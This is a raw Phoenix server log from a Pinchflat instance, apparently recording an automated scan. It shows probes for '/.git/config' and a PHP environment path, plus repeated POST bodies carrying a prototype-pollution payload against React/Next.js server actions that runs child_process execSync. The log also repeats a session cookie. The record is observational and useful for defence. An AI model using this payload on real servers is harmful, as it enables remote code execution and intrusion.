:undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 98, host_info: :undefined }}, assigns: %{}, (truncated) 17:14:43.744 [info] GET /webroot/index.php/_environment 17:14:43.745 [debug] QUERY OK source="settings" db=0.1ms idle=780.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:43.745 [debug] QUERY OK source="settings" db=0.0ms idle=520.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:43.745 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:43.745 [error] #PID<0.11867.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 99) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /webroot/index.php/_environment ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webroot/index.php/_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webroot/index.php/_environment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 99, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11867.0>, params: %{}, path_info: ["webroot", "index.php", "_environment"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/webroot/index.php/_environment", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXxJEB9Kg3w4ABW6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webroot/index.php/_environment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 99, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webroot/index.php/_environment (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webroot/index.php/_environment", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 17:14:44.004 [info] GET /.git/config 17:14:44.005 [debug] QUERY OK source="settings" db=0.1ms idle=519.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.005 [debug] QUERY OK source="settings" db=0.0ms idle=519.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.005 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:44.005 [error] #PID<0.11868.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 100) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 100, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11868.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXyHAecNVXy8ABW8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 100, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 100, host_info: :undefined }}, assigns: %{}, b (truncated) 17:14:44.264 [info] POST / 17:14:44.265 [debug] QUERY OK source="settings" db=0.1ms idle=519.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.265 [debug] QUERY OK source="settings" db=0.0ms idle=519.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.265 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:44.265 [error] #PID<0.11869.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 101) terminated Server: pinchflat.8layer8.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "748", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary3634702b04954a42", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 748, path_info: :undefined, qs: "", has_body: true, streamid: 101, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "POST", owner: #PID<0.11869.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "748"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundary3634702b04954a42"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXzE9hSsqVW4ABW-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "748", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary3634702b04954a42", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 748, path_info: :undefined, qs: "", has_body: true, streamid: 101, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID (truncated) 17:14:44.524 [info] POST / 17:14:44.525 [debug] QUERY OK source="settings" db=0.2ms idle=580.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.525 [debug] QUERY OK source="settings" db=0.0ms idle=520.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.525 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:44.526 [error] #PID<0.11870.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 102) terminated Server: pinchflat.8layer8.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "860", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryb91b96f5e6324334", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 860, path_info: :undefined, qs: "", has_body: true, streamid: 102, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "1_$ACTION_ID_vercel" => "\"\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => 